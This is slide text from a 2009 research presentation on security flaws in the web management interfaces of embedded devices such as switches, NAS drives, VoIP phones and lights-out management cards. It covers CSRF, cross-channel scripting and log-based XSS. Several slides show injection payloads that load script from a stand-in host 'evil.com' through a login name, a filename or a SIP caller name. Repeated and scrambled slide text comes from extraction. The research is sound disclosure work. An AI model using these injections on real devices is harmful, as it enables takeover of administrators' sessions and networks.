Embedded Management Interfaces e t u p m Emerging Massive - PowerPoint PPT Presentation

Attack result Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Cross Site Request Forgery (CSRF) illustrated Netgear FS750T2 ‣ Intelligent switch ‣ Configured via Web Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

CSRF illustrated Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

CSRF illustrated 1 Administer the switch Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

CSRF illustrated 1 Administer the switch 2 Browse the web � � � � � � � � Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

CSRF illustrated 1 Administer the switch 2 Browse the web P O S T ( e . g . v i a A d s ) 3 T r i g g e r � � � � � � � � Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

CSRF illustrated 4 Forward the bad post request 1 Administer the switch 2 Browse the web P O S T ( e . g . v i a A d s ) 3 T r i g g e r � � � � � � � � Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

CSRF illustrated 4 Forward the bad post request 1 Administer the switch 2 Browse the web P O S T ( e . g . v i a A d s ) 3 T r i g g e r � � � � � � � � Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

CSRF illustrated 4 Forward the bad post request 1 Administer the switch 2 Browse the web P O S T ( e . g . v i a A d s ) 3 T r i g g e r � � � � � � � � Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Cross Channel Scripting (XCS) illustrated LaCie Ethernet disk mini ‣ Share access control ‣ Web interface ‣ Public FTP Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

XCS illustrated FTP server NAS upload the file: <script>..</script>.pdf Attacker Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

XCS illustrated FTP file server system NAS upload the file: <script>..</script>.pdf Attacker Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

XCS illustrated FTP file Web server system App NAS upload the file: reflect the filename: <script>..</script>.pdf <script>..</script>.pdf Attacker Admin Browser Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

XCS illustrated FTP file Web server system App NAS upload the file: reflect the filename: <script>..</script>.pdf <script>..</script>.pdf Attacker Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Attack result Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

XCS: cross-channel scripting Alternate Web Channels attacker Device User Injection Storage Reflection Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Devices as stepping stones Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Devices as stepping stones 1 Administer the device Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Devices as stepping stones 1 Administer the device 2 Browse internet Internet Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Devices as stepping stones 1 Administer the device 2 Browse internet Internet P O S T ( e . g . v i a A d s ) 3 T r i g g e r Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Devices as stepping stones 4 infect the device 2 Browse internet Internet P O S T ( e . g . v i a A d s ) 3 T r i g g e r Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Devices as stepping stones 5 access files Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Devices as stepping stones 6 Send malicious payload 5 access files Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Devices as stepping stones 6 Send malicious payload 5 access files 7 Attack local network Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Devices as stepping stones 6 Send malicious payload 5 access files 7 Attack local network Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Brands Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Devices Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Vulnerabilities by category Type Num XSS CSRF XCS RXCS File Auth LOM 3 Photo 3 NAS 5 Router 1 IP camera 3 IP phone 1 Switch 4 Printer 3 one vulnerability many vulnerability Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Vulnerabilities by category Type Num XSS CSRF XCS RXCS File Auth LOM 3 Photo 3 NAS 5 Router 1 IP camera 3 IP phone 1 Switch 4 Printer 3 one vulnerability many vulnerability Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Devices by Brand Brand Camera LOM NAS Phone Photo Frame Printer Router Switch � Allied � Buffalo � � D-Link � Dell � eStarling � HP � IBM � Intel � Kodak � LaCie � � � � Linksys � Netgear � Panasonic � QNAP � Samsung � SMC � TrendNet Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Attack surface • Confidentiality • Integrity • Availability • Access control • Attribution Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Attack surface result Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Attack surface result Confidentiality 5 Steal private data Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Attack surface result Confidentiality 5 Steal private data Integrity 22 Reconfigure device Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Attack surface result Confidentiality 5 Steal private data Integrity 22 Reconfigure device Availability 18 Reboot device Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Attack surface result Confidentiality 5 Steal private data Integrity 22 Reconfigure device Availability 18 Reboot device Access files without Access control 23 password Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Attack surface result Confidentiality 5 Steal private data Integrity 22 Reconfigure device Availability 18 Reboot device Access files without Access control 23 password Attribution 22 Don’t log access Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

b a L y t i r u c e S r e t u p m o Illustrative Attacks C d r o f n a t S Thursday, July 30, 2009

Login+Log XSS Quick warm-up: LOM LOM basics Log XSS Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Login+Log XSS LOM basics ‣ Lights-out recovery, maintenance, inventory tracking ‣ PCI card and chipset varieties available ‣ Separate NIC and admin login* ‣ Low-security default settings ‣ Motherboard connection ‣ Usually invisible to OS Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Login+Log XSS Log XSS ‣ Known for a decade ‣ Traditionally injected via DNS ‣ Also see recent IBM BladeCenter advisory http://www.cert.fi/en/reports/2009/vulnerability2009029.html Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Persistant Log-based XSS Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Persistant Log-based XSS 1 Attacker attempts to login as user ");</script><script src="//evil.com/"></script><script> Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Persistant Log-based XSS 1 Attacker attempts to login as user ");</script><script src="//evil.com/"></script><script> 2 Admin views syslog Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Persistant Log-based XSS 1 Attacker attempts to login as user ");</script><script src="//evil.com/"></script><script> 2 Admin views syslog � � � � � � � � 3 Payload executes Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Login+Log XSS attack result Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

Cross Channel Scripting (XCS) Moving on to real XCS VoIP phone Photo frame Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

SIP XCS VoIP phone ‣ Linksys SPA942 ‣ Web interface ‣ SIP support ‣ Call logs Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

SIP XCS � � � � � � � � Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

SIP XCS 1 SIP: xyz@mydomain calls abc@thatdomain � � � � � � � � Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

SIP XCS 1 SIP: xyz@mydomain calls abc@thatdomain � � � � � � � � 2 RTP: carries actual binary data Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

SIP XCS Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

SIP XCS 1 Attacker makes a call as “<script src="//evil.com/"></script>” Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009

SIP XCS 1 Attacker makes a call as “<script src="//evil.com/"></script>” 2 Administrator accesses web interface Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity Thursday, July 30, 2009